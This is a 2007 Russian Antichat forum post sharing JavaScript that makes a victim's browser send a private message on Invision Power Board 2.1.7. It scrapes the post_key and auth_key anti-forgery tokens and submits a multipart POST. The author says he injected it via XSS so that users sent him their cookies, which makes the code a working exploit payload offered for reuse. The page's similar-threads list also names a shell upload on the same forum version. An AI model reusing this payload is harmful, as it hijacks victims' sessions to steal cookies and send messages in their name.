ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Отправка персоналок в ipb 2.1.7 через ajax
  #1  
Старый 11.04.2007, 23:25
_Nikolas_
Новичок
Регистрация: 27.12.2006
Сообщений: 18
Провел на форуме:
105228

Репутация: 19
По умолчанию Отправка персоналок в ipb 2.1.7 через ajax

Вот писал когда-то, решил выложить.

Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).

В свое время запихнул его в xss и юзеры сами слали мне куки

Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.

Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.

В общем может будет кому полезен.

PHP код:
//эти переменные править
        
var forum "http://www.forum.ru";
        var 
msg_user "admin";
        var 
msg_title "TEST";
        var 
msg_post "TEST POST";
        
        var 
boundary "---------------------------1065103348625032172387451659";
        
        var 
http_request false;
        
        function 
createHttpRequest() {
            
http_request false;
            if (
window.XMLHttpRequest) { // Мозилла, опера и т.д.
                
http_request = new XMLHttpRequest();
                if (
http_request.overrideMimeType) {
                    
// Выставляем тип странички
                    
http_request.overrideMimeType('text/xml');
                }
            } else if (
window.ActiveXObject) { // Интернет эксплорер
                
try {
                    
http_request = new ActiveXObject("Msxml2.XMLHTTP");
                } catch (
e) {
                    try {
                        
http_request = new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (
e) {}
                }
            }
            return 
http_request;
        }
        
        function 
makeGETRequest(urlparam) {
            
http_request createHttpRequest();
            if (!
http_request) {
                
//alert('Cannot create XMLHTTP instance');
                
return false;
            }
            
http_request.onreadystatechange alertContents//Тут написать функцию которая вызовется после получения странички
            
http_request.open('GET'url paramtrue);
            
http_request.send(null);
        }
        
        function 
makePOSTRequest(urlparam) {
            
http_request http_request createHttpRequest();
            if (!
http_request) {
                
//alert('Cannot create XMLHTTP instance');
                
return false;
            }
            
http_request.onreadystatechange alertPost//Тут написать функцию которая вызовется после получения странички
            
http_request.open('POST'urltrue);
            
http_request.setRequestHeader("Content-type""multipart/form-data; boundary=" boundary);
            
http_request.setRequestHeader("Content-length"param.length);
            
http_request.send(param);
        }
        
        function 
alertContents() {
            if (
http_request.readyState == 4) { // Говорит о том что все загружено
                
if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
                    //alert("ok");
                    
var xml http_request.responseText;
                    var 
re_post = new RegExp"name=\"post_key\" value=\"([a-z0-9]+)\"" );
                    var 
re_auth = new RegExp"name=\"auth_key\" value=\"([a-z0-9]+)\"" );
                    var 
post_key re_post.execxml )[1];
                    var 
auth_key re_auth.execxml )[1];
                    var 
param '--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="post_key"\r\n\r\n' post_key '\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="auth_key"\r\n\r\n' auth_key '\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="entered_name"\r\n\r\n' msg_user '\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="msg_title"\r\n\r\n' msg_title '\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="Post"\r\n\r\n' msg_post '\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' 
                        
'--' boundary '--\r\n';
                   
makePOSTRequestforum "/index.php?act=msg"param );
                } else {
                    
//alert('There was a problem with the request.');
                    //alert(http_request.status);
                
}
            }
        }
        function 
alertPost() {
            
//здесь можем обработать результат отсылки, если захотим
        
}
        
//вызываем эту функцию для отправки сообщения
        
function main() {
            
makeGETRequestforum "/index.php?""act=Msg&CODE=04" );
        } 
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
скрипт распознавания форума genom-- Форумы 22 31.12.2008 15:06
Ajax LoFFi Чужие Статьи 7 30.01.2007 23:21
Заливка шелла на Ipb 2.1.7 Thrasher Форумы 15 14.01.2007 14:51
проблема с установкой ipb 2.1.7 ZeroHour Форумы 0 09.11.2006 20:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ